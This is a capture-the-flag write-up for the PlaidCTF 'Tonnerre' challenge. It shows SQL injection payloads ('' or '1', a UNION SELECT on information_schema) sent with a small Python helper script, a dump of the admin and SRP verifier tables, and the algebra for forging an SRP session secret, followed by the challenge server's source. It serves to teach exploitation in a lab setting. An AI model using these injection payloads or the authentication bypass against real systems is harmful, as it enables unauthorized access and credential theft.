Tonnerre was a cryptography challenge for 200 points in this year's PlaidCTF.
We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was
totally secure. But then we came across this website and now we’re having
second thoughts... We think they store the service users in the same
database?
Since there is a suggestion that the service may be not secure, I started
looking at the linked website.
It was the login form of an admin interface.
The login with username "foo" and password "' or '1" resulted in the following
message:
Authentication successful for user admin! However, administration is
disabled right now due to ongoing hacking attempts. Check again later.
The password field was vulnerable to SQL injection.
I wrote a small helper script for more convenient injection
#!/usr/bin/env python3
import sys
import requests
url = 'http://tonnerre.pwning.xxx:8560/login.php'
def inject(payload):
data = {
'username': 'foo',
'password': payload,
}
res = requests.post(url, data=data)
print(res.text)
if __name__ == '__main__':
if len(sys.argv) < 2:
sys.exit(1)
inject(sys.argv[1])
First I retrieved a list of the available tables
./inject.py "qwer' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=concat(database()); -- "
Authentication successful for user admin_users,users! However, administration is disabled right now due to ongoing hacking attempts. Check again later.
We can see there are two table "admin_users" and "users".
With some more injections the whole content can be retrieved.
admin_user:
user |
pass |
admin |
adminpasswordbestpasswordmostsecure |
user:
user |
salt |
verifier |
get_flag |
d14058efb3f49bd1f1c68de447393855... |
ebedd14b5bf7d5fd88eebb057af43803... |
The first table contains the administrator credentials for the website. The
second table contains some more interesting values.
Now we have to figure out, how to use them.
Since we have the source code (see below), we know what the server expects.
The protocol is displayed in the following figure.
The public key from the server can be recovered by \(pub_s = res - veri_c \pmod{N}\).
We choose the random number \(rand_c = 4\).
If we set \(pub_c = g^4 \cdot veri_c^{-1} \pmod{N}\)
the product \(pub_c \cdot veri_c\) is a power of \(g\).
Because \(N\) is prime \(veri_c\) is invertible.
It follows:
\begin{equation*}
\begin{split}
secret &= H((pub_c \cdot veri_c)^{rand_s} \pmod{N})) \\
&= H((g^4 \cdot veri_c^{-1} \cdot veri_c)^{rand_s} \pmod{N}) \\
&= H((g^4)^{rand_s} \pmod{N}) \\
&= H((g^{4 \cdot rand_s} \pmod{N}) \\
&= H(((g^{rand_s})^4 \pmod{N}) \\
&= H((pub_s^4 \pmod{N})
\end{split}
\end{equation*}
So we can calculate the secret, construct the proof and receive the flag .
The flag is PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}
Appendix
The given source code of tonnerre:
#/usr/bin/env python
from Crypto.Random import random, atfork
from Crypto.Hash import SHA256
from database import import_permitted_users
import SocketServer,threading,os,time
msg = """Welcome to the Tonnerre Authentication System!\n"""
flag = "REDACTED"
N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
permitted_users = {}
# This should import the fields from the data into the dictionary.
# the dictionary is indexed by username, and the data it contains are tuples
# of (salt, verifier) as numbers. note that the database stores these in hex.
import_permitted_users(permitted_users)
def H(P):
h = SHA256.new()
h.update(P)
return h.hexdigest()
def tostr(A):
return hex(A)[2:].strip('L')
class incoming(SocketServer.BaseRequestHandler):
def handle(self):
atfork()
req = self.request
req.sendall(msg)
username = req.recv(512)[:-1]
if username not in permitted_users:
req.sendall('Sorry, not permitted.\n')
req.close()
return
public_client = int(req.recv(512).strip('\n'), 16) % N
c = (public_client * permitted_users[username][1]) % N
if c in [N-g, N-1, 0, 1, g]:
req.sendall('Sorry, not permitted.\n')
req.close()
return
random_server = random.randint(2, N-3)
public_server = pow(g, random_server, N)
residue = (public_server + permitted_users[username][1]) % N
req.sendall(tostr(permitted_users[username][0]) + '\n')
req.sendall(tostr(residue) + '\n')
session_secret = (public_client * permitted_users[username][1]) % N
session_secret = pow(session_secret, random_server, N)
session_key = H(tostr(session_secret))
proof = req.recv(512).strip('\n')
if (proof != H(tostr(residue) + session_key)):
req.sendall('Sorry, not permitted.\n')
req.close()
return
our_verifier = H(tostr(public_client) + session_key)
req.sendall(our_verifier + '\n')
req.sendall('Congratulations! The flag is ' + flag + '\n')
req.close()
class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
pass
SocketServer.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 8561), incoming)
server.timeout = 60
server.serve_forever()